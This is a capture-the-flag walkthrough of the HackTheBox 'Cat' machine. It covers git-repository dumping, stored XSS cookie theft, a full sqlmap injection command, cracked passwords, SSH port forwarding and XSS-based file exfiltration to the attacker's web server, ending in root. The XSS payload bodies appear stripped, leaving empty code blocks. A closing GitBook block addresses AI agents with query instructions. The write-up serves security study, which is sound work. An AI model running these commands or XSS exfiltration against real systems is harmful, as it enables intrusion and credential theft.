> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/cat-hackthebox-writeup.md). # Cat HackTheBox Writeup Cat HackTheBox Medium Linux machine writeup covering Directory Fuzzing (.git file), Source Code Analysis (Git Repository Dump), Stored XSS Exploitation & Session Hijacking, SQL Injection (SQLite) usin {% embed url="" %} {% hint style="warning" %} **Skills:** * Directory Fuzzing (.git file) * Source Code Analysis (Git Repository Dump) * Stored XSS Exploitation & Session Hijacking * SQL Injection (SQLite) using sqlmap * Password Hash Cracking * Port Forwarding via SSH * Exploitation of Gitea (v1.22.0) – Stored XSS * Sensitive Data Exfiltration via XSS Payloads {% endhint %} ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.

**Open Port Discovery with Nmap:** Enumerate open ports and export the results to the "allPorts" file in the Nmap directory: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.53 -oG allPorts ```

Port version scan with Nmap: Use Nmap to scan service versions and save the output in the "targeted" file: ```purebasic nmap -sCV -p22,80 10.10.11.53 -oN targeted ```

To resolve domain names into IP addresses via DNS, we insert the domain name associated with its IP address into the `/etc/hosts` file:

### Port 80 - HTTP

By accessing the `http://cat.htb` site, you will find a registration form.

We also notice a voting functionality.

**Directory fuzzing** We run `gobuster` to discover hidden paths: ```bash gobuster dir -u http://cat.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php ```

This reveals several interesting files, including a `.git` directory.

**Git repository dump** We use `git-dumper` to retrieve the contents of the repository: ```bash git-dumper http://cat.htb/.git git ```

By inspecting the source code, we identify an **SQL vulnerability** as well as a possibility of **stored XSS**.

## Vulnerability XSS The application accepts *username* and *email* fields without proper filtering. This allows the injection of malicious scripts.

**Payload XSS** We create a user with the following name: ```javascript ``` **Receiving the admin cookie** We listen on port 8081: ```bash python -m http.server 8081 ```

Once the cookie is captured, we obtain the administrator session:

We modify our session cookie for that of the admin and access the **administration console**.

## Injection SQL (SQLite)

With admin access, launch `sqlmap` on a vulnerable form {% code overflow="wrap" %} ```bash sqlmap -u "http://cat.htb/accept_cat.php" --cookie="PHPSESSID=i4cao7dtdfk1bs713p57cfq719" --data="catId=1&catName=123" -p catName --level 3 --risk 3 --batch --random-agent --tables --dump --dbms=sqlite --threads 10 ``` {% endcode %}

**Hash recovery** We obtain the users' **password hashes**. Here are some examples: ``` d1bbba3670feb9435c9841e46e60ee2f ac369922d560f17d6eeb8b2c7dec498c 42846631708f69c00ec0c0a8aa4a92ad 39e153e825c4a3d314a0dc7f7475ddbe 781593e060f8d065cd7281c5ec5b4b86 1b6dce240bbfbc0905a664ad199e18f8 c598f6b844a36fa7836fba0835f1f6 e41ccefa439fc454f7eadbf1f139ed8a 24a8ec003ac2e1b3c5953a6f95f8f565 88e4dceccd48820cf77b5cf6c08698ad ``` **Password cracking** Using [CrackStation](https://crackstation.net/), we successfully identify the password for user `rosa`: {% embed url="" %}

* **username** : rosa * **password** : soyunaprincesarosa SSH connection with the retrieved credentials: ```bash ssh rosa@cat.htb ```

### Pivoting User Axel #### Enumeration LinPEAS: ```bash ./linpeas.sh ``` {% embed url="" %} Rosa is in the `adm` group, access to: ```bash cat /var/log/apache2/access.log | grep "axel" ```

Credentials found: * Username: axel * Password : aNdZwgC4tI9gnVXv/\_e3Q

### Flag user.txt :)

## Privilege escalation ### Discovery of internal ports: ```bash netstat -tuln ``` * **Node.js** (port 3000) * **SMTP** (587, 25) Services identified

#### Port Forwarding ```bash sudo ssh -L 3000:127.0.0.1:3000 -L 587:127.0.0.1:587 -L 25:127.0.0.1:25 axel@cat.htb ``` ### XSS Vulnerability in Gitea v1.22.0 On `http://localhost:3000` -> **Gitea** is accessible.

Vulnerability XSS connue.

We create a project with a description containing: ```bash XSS test ```

* Result:

### Mail intercepted via LinPEAS

Email content: * jobert\@localhost must check the Gitea repository

We send an XSS link containing an exfiltration script which reads the content of the `index.php` page of the Gitea repository, encodes it in Base64, then sends it to our web server {% code overflow="wrap" %} ```bash PWNED ``` {% endcode %}

#### Via our web server ```bash python -m http.server 8080 ```

#### Exfiltrated content (base64 decoded): ```bash echo "PD9waHAKJHZhbGlkX3VzZXJuYW1lID0gJ2FkbWluJzsKJHZhbGlkX3Bhc3N3b3JkID0gJ0lLdzc1ZVIwTVI3Q01JeGhIMCc7CgppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8ICFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwgCiAgICAkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddICE9ICR2YWxpZF91c2VybmFtZSB8fCAkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSAhPSAkdmFsaWRfcGFzc3dvcmQpIHsKICAgIAogICAgaGVhZGVyKCdXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT0iRW1wbG95ZWUgTWFuYWdlbWVudCInKTsKICAgIGhlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOwogICAgZXhpdDsKfQoKaGVhZGVyKCdMb2NhdGlvbjogZGFzaGJvYXJkLnBocCcpOwpleGl0Owo%2FPgoK" | base64 -d ``` * $valid/\_username = 'admin'; * $valid/\_password = 'IKw75eR0MR7CMIxhH0';

#### Root Escalation There is a reuse of credentials for the root user ```bash su root ```

### Flag root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/cat-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.